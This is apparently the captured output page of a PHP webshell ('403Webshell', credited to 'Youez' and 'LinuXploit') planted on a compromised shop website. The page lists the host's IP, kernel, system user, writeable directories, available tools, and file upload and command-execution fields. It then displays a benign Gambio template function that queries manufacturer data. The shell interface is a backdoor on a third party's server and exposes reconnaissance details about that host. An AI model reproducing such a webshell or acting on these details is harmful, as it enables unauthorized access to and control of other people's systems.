403Webshell
Server IP : 85.158.181.41  /  Your IP : 216.73.217.12
Web Server : Apache
System : Linux cloud9-vm129 6.1.178+1-ph #ph SMP PREEMPT_DYNAMIC Wed Jul 29 09:00:54 UTC 2026 x86_64
User : moncbefd ( 1024)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/moncbefd/www.moneta.at/templates/Honeygrid/smarty/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/moncbefd/www.moneta.at/templates/Honeygrid//smarty/function.manufacturer_data.php
<?php
/* --------------------------------------------------------------
   function.manufacturer_data.php 2016-05-20
   Gambio GmbH
   http://www.gambio.de
   Copyright (c) 2016 Gambio GmbH
   Released under the GNU General Public License (Version 2)
   [http://www.gnu.org/licenses/gpl-2.0.html]
   --------------------------------------------------------------
*/
/**
 * Get the manufacturers data.
 *
 * @param $params Needs to contain the manufacturers_id.
 * @param $smarty The smarty instance.
 *
 * @return array Contains the manufacturer's data to be used in templates.
 */
function smarty_function_manufacturer_data($params, &$smarty)
{
	if(empty($params['manufacturer_id']) || (int)$params['manufacturer_id'] != (double)$params['manufacturer_id'])
	{
		return;
	}
	
	$query = '
			SELECT m.manufacturers_id, m.manufacturers_name, m.manufacturers_image, i.manufacturers_url
			FROM manufacturers AS m
			INNER JOIN manufacturers_info AS i
			    ON (i.manufacturers_id = m.manufacturers_id AND i.languages_id = ' . (int)$_SESSION['languages_id'] . ')
			WHERE m.manufacturers_id = ' . (int)$params['manufacturer_id'] . '
			GROUP BY m.manufacturers_id';
	
	$results = xtc_db_query($query);
	$record  = xtc_db_fetch_array($results);
	
	$manufacturer = array(
		'ID'        => $record['manufacturers_id'],
		'NAME'      => $record['manufacturers_name'],
		'IMAGE'     => 'images/' . $record['manufacturers_image'],
		'IMAGE_ALT' => $record['manufacturers_name'],
		'URL'       => $record['manufacturers_url']
	);
	
	$smarty->assign($params['out'], $manufacturer);
}

Youez - 2016 - github.com/yon3zu
LinuXploit